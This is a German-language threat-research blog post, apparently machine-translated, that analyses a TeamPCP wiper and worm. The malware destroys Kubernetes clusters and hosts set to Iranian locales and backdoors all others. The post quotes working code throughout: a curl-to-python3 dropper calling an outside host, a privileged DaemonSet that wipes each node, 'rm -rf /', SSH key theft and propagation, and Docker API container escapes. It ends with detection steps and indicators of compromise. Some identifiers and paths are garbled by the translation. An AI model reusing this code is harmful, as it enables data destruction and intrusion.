Wir haben eine neue Schadsoftware im Arsenal von TeamPCP entdeckt, die nicht nur Zugangsdaten stiehlt oder Hintertüren installiert. Sie löscht ganze Kubernetes-Cluster.
Das Skript verwendet genau denselben ICP-Canister (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io) haben wir im CanisterWorm-Kampagne. Gleiches C2, gleicher Backdoor-Code, gleiches /tmp/pglog Drop-Pfad. Die Kubernetes-native laterale Bewegung über DaemonSets entspricht dem bekannten Vorgehensmuster von TeamPCP, doch diese Variante weist ein bisher unbekanntes Merkmal auf: eine geopolitisch ausgerichtete zerstörerische Nutzlast, die speziell auf iranische Systeme abzielt.
Allgemeine Informationen
Da der Blogbeitrag viele technische Details enthält, finden Sie hier eine Zusammenfassung der wichtigsten Erkenntnisse, die wir gewonnen haben:
- 😊 Es handelt sich um denselben ICP-Kanister C2 wie bei CanisterWorm (
tdtqy-oyaaa-aaaae-af2dq-cai) - 🎯 Die Payload überprüft die Zeitzone und die Ländereinstellung, um iranische Systeme zu identifizieren
- ☸️ Auf Kubernetes: Stellt privilegierte DaemonSets auf jedem Knoten bereit, einschließlich der Steuerungsebene
- 💀 Iranische Knoten werden gelöscht und über einen container
Kamikaze - 🔒 Auf nicht-iranischen Knoten wird die Backdoor „CanisterWorm“ als systemd-Dienst installiert
- 💀 Iranische Knoten werden gelöscht und über einen container
- 💣 Nicht-K8s-Hosts aus dem Iran erhalten
rm -rf / --no-preserve-root - 🐘 Persistenz, getarnt als PostgreSQL-Tool:
pglog,pg_state,interner Monitor - 😄 Es wurde beobachtet, dass mehrere Cloudflare abwechselnd als Infrastruktur für die Bereitstellung von Nutzdaten eingesetzt werden
- 🟪 Die neueste Variante ermöglicht eine netzwerkbasierte laterale Bewegung
- 🔑 SSH-Angriffe durch gestohlene Schlüssel und die Auswertung von Authentifizierungsprotokollen
- 🐳 Nutzt exponierte Docker-APIs am Port 2375 im lokalen Subnetz aus
Der Ausstatter
Zunächst stellten wir fest, dass es einfach auf https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , die eine einzige Nutzlast enthielt. Später teilte sie die Nutzlast in zwei Dateien auf, wie unten zu sehen ist.
#!/usr/bin/env bash
set -euo pipefail
if ! command -v kubectl &>/dev/null; then
ARCH="amd64"
[[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
chmod +x /tmp/kubectl
export PATH="/tmp:$PATH"
fi
PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -
rm -- "$0"Wie du sehen kannst, wird es heruntergeladen kubectl falls es noch nicht installiert ist. Dann wird es heruntergeladen kube.py vom selben Host und führt diesen aus, bevor es sich selbst löscht. Der wirklich interessante Code ist darin enthalten. Hier sind die letzten Zeilen des Skripts, die die Absicht des Codes deutlich machen und die wir im Folgenden näher erläutern werden:
if __name__ == "__main__": if is_k8s(): if is_iran():
deploy_destructive_ds() else:
deploy_std_ds() else: if is_iran():
poison_pill()
sys.exit(1)Wie es sein Ziel auswählt
Als Erstes ermittelt die Payload, wo sie ausgeführt wird. Dazu führt sie zwei Überprüfungen durch:
def is_k8s():
return os.path.exists("secrets.io/serviceaccount") or \
"KUBERNETES_SERVICE_HOST" in os.environStandardmäßige Kubernetes-Pod-Erkennung. Jedem Pod wird standardmäßig ein Dienstkonto zugewiesen.
Und dann noch das:
def is_iran():
tz = ""
if os.path.exists("/etc/timezone"): with open("/etc/timezone", "r") as f:
tz = f.read().strip() else:
try:
tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"],
stderr=subprocess.DEVNULL).decode().strip()
except:
pass
lang = os.environ.get("LANG", "") return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in langEs überprüft die Zeitzone und die Ländereinstellung des Systems. Wenn der Rechner für den Iran konfiguriert ist (Asien/Teheran, Iran, oder fa_IR), nimmt die Nutzlast einen ganz anderen Weg.
Vier Wege, ein Drehbuch
Der Entscheidungsbaum ist einfach und schonungslos:
- Kubernetes + Iran: Ein DaemonSet bereitstellen, das jeden Knoten im Cluster löscht
- Kubernetes und andere Umgebungen: Stellt ein DaemonSet bereit, das auf jedem Knoten die Backdoor „CanisterWorm“ installiert
- Kein Kubernetes + Iran:
rm -rf / --no-preserve-root - Kein Kubernetes + anderweitig: Beenden. Es passiert nichts.
Der Scheibenwischer: „Kamikaze“
Das auf den Iran ausgerichtete DaemonSet heißt Host-Provisioner-Iran. Der darin container heißt Kamikaze. Von „subtil“ kann hier keine Rede sein.
def deploy_destructive_ds():
ds_name = "host-provisioner-iran"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: kamikaze
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
chroot /mnt/host reboot -f
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())Das DaemonSet hängt das Root-Dateisystem des Hosts an /mnt/host, löscht alles auf der obersten Ebene und führt anschließend einen erzwungenen Neustart durch. Da es sich um ein DaemonSet mit Toleranzen: [Operator: Exists]wird es auf jedem Knoten im Cluster eingeplant, einschließlich der Steuerungsebene. Ein kubectl apply und der gesamte Cluster ist unbrauchbar.
Der Persistenzpfad
Für nicht-iranische Ziele gilt das DaemonSet (host-provisioner-std) ist weniger spektakulär, aber im praktischen Einsatz nützlicher. Es schreibt die CanisterWorm-Backdoor auf jeden Knoten und registriert sie als systemd-Dienst:
def deploy_std_ds():
ds_name = "host-provisioner-std"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: provisioner
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
[Unit]
Description=System Monitor
After=network.target
[Service]
ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
EOF_UNIT
chroot /mnt/host systemctl daemon-reload
chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
sleep infinity
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())Die Hintertür ist dieselbe, die wir bereits im Beitrag zu CanisterWorm beschrieben haben. Sie fragt alle 50 Minuten den ICP-Canister nach einer Binär-URL ab, lädt die angegebene Datei herunter und führt sie aus. Die youtube[.]com Der Kill-Schalter ist weiterhin vorhanden.
Die „Giftpille“
Bei iranischen Systemen, die nicht auf Kubernetes basieren, ist der Ansatz einfacher:
def poison_pill():
cmd = "rm -rf / --no-preserve-root"
if os.getuid() == 0:
os.system(cmd)
else:
os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")Wenn es sich um Root handelt, wird das System gelöscht. Wenn nicht, versucht es zunächst, sudo ohne Passwort auszuführen, und versucht es dann trotzdem. Selbst ohne Root-Rechte wird alles zerstört, was dem Benutzer gehört.
Warum das wichtig ist
TeamPCP ist seit Ende 2025 als cloud-nativer Angreifer bekannt, der es auf falsch konfigurierte Docker-APIs, Kubernetes-Cluster und CI/CD-Pipelines abgesehen hat. Ihr Vorgehensmuster (Umgebungs-Fingerprinting, Kubernetes-spezifische Verzweigungen) ist dabei konsistent geblieben. Doch der Trivy und die CanisterWorm-Kampagne zeigten, dass sie auf Supply-Chain-Ebene operieren können, und diese Payload beweist, dass sie bereit sind, zerstörerisch zu handeln, wenn sie es wollen.
Worauf Sie achten sollten
Überprüfen Sie, ob DaemonSets vorhanden sind in kube-system die du nicht erstellt hast:
kubectl get ds -n kube-systemSuchen Sie nach Host-Provisioner-Iran oder host-provisioner-std. Überprüfen Sie außerdem alle DaemonSets, die hostPath: / mit einem privilegierten Sicherheitskontext. Diese Kombination sollte niemals außerhalb von Agenten auf Infrastrukturebene wie dem Kubelet selbst vorkommen.
Überprüfen Sie auf der Host-Seite Folgendes:
- Ein systemd-Dienst namens
interner Monitor(systemctl status internal-monitor) - Dateien unter
/var/lib/svc_internal/runner.py - Prozesse mit dem Namen
pglogin/tmp/ - Ausgehende Verbindungen zu
icp0[.]ioDomains
Aktuelles: Es breitet sich jetzt aus
Gerade ist eine dritte Version der Nutzlast erschienen, gehostet unter https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py Dieselbe ICP-Canister-Backdoor, derselbe iranische Wiper, aber dieser hier benötigt kein Kubernetes. Er verbreitet sich von selbst.
Die früheren Versionen nutzten DaemonSets, um sich innerhalb eines Clusters zu bewegen. Diese Variante verzichtet vollständig darauf und ersetzt sie durch zwei Methoden zur lateralen Bewegung: den Diebstahl von SSH-Schlüsseln und die Ausnutzung offengelegter Docker-APIs. Außerdem durchsucht sie das lokale /24-Subnetz nach neuen Zielen.
So findet es die Ziele, auf die es zielt:
def get_accepted_targets():
targets = {}
for path in ["/var/log/auth.log", "/var/log/secure"]:
if os.path.exists(path):
try:
with open(path, "r") as f:
for line in f:
if "Accepted" in line:
match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
if match:
user, ip = match.groups()
if ip not in targets: targets[ip] = []
if user not in targets[ip]: targets[ip].append(user)
except: pass
return targetsEs analysiert /var/log/auth.log und /var/log/secure bei erfolgreichen SSH-Anmeldungen, wobei sowohl der Benutzername als auch die Quell-IP extrahiert werden. Diese werden zu Zielpaaren für die Verbreitung. Für jede IP-Adresse im Subnetz, die nicht in den Authentifizierungsprotokollen enthalten war, greift das Programm auf den Versuch zurück, root, ubuntu, admin, und ec2-user.
Dann sammelt es alle SSH-Privatschlüssel ein, die es finden kann:
keys = []
ssh_base = os.path.expanduser("~/.ssh") for t in ["id_rsa", "id_ed25519", "id_ecdsa"]:
p = os.path.join(ssh_base, t)
if os.path.exists(p):
keys.append(p)Für jedes Ziel werden zwei Ports überprüft. Port 22 wird auf SSH-Verbreitung geprüft:
cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no",
"-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}",
f"echo {b64_logic} | base64 -d | bash"]Über Port 2375 wird die Docker-API ausgenutzt, wodurch ein container mit erhöhten Rechten erstellt wird, container das Stammverzeichnis des Hosts eingebunden ist:
payload = {
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
"HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})Beide Wege führen zum gleichen Ergebnis get_remote_logic() Payload, der auf dem Remote-Host die Überprüfung der iranischen Zeitzone durchführt. Iranische Ziele werden gelöscht, alle anderen erhalten die pgmon.py Backdoor, die als systemd-Dienst installiert wurde.
Der Scheibenwischer selbst hat sich verändert. Die früheren Versionen verwendeten rm -rf / --no-preserve-root auf Nicht-K8s-Hosts, während die verwendete DaemonSet-Variante find / -maxdepth 1 ... -exec rm -rf {} + mit einem erzwungenen Neustart. Diese Version standardisiert auf dem finden Ansatz mit Neustart -f auf breiter Front:
find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -fDas stammt direkt aus einem früheren Beitrag von TeamPCP proxy.sh und pcpcat.py Tools, mit denen sie nach exponierten Docker-APIs suchten und SSH-Schlüssel über Subnetze hinweg verbreiteten. Der Unterschied besteht darin, dass es sich bei diesen Tools um eigenständige Skripte zum Aufbau der Infrastruktur handelte. Dieses hier enthält die Backdoor „CanisterWorm“ und den „Iran Wiper“.
Einige weitere Änderungen gegenüber den Vorgängerversionen: Der Name des Dienstes wurde von interner Monitor zu pgmonitor, der Installationspfad wurde von /var/lib/svc_internal/ zu /var/lib/pgmon/, und die systemd-Beschreibung lautet nun „Postgres Monitor Service“. Die Tarnung von PostgreSQL wird immer einheitlicher.
Indikatoren für Kompromittierung
Netzwerk
tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io(ICP-Kanister C2 – Dead-Drop)https://souls-entire-defined-routes.trycloudflare[.]com/(Lieferung der Nutzlast, zuerst)https://investigation-launches-hearings-copying.trycloudflare[.]com/(Nutzlastabwurf, Sekunde)https://championships-peoples-point-cassette.trycloudflare[.]com(Lieferung der Nutzlast, dritter)
Kubernetes
- DaemonSet
Host-Provisioner-Iraninkube-system - DaemonSet
host-provisioner-stdinkube-system - Container :
Kamikaze,Bereitsteller
Host
/var/lib/svc_internal/runner.py/etc/systemd/system/internal-monitor.service/tmp/pglog/tmp/.pg_state/var/lib/pgmon/pgmon.py/etc/systemd/system/pgmonitor.service- Systemd-Dienst:
pgmonitor(Beschreibung: „Postgres-Monitor-Dienst“) - Systemd-Dienst:
interner Monitor
Indikatoren für seitliche Bewegungen
- Ausgehende SSH-Verbindungen mit
StrictHostKeyChecking=novon kompromittierten Hosts - Ausgehende Verbindungen zu Port 2375 (Docker-API) innerhalb des lokalen Subnetzes
- Privilegierte Alpine-Container, die über die nicht authentifizierte Docker-API erstellt wurden, mit
hostPath: /Bind-Mount
... Die Geschichte entwickelt sich weiter. Bleiben Sie auf dem Laufenden.

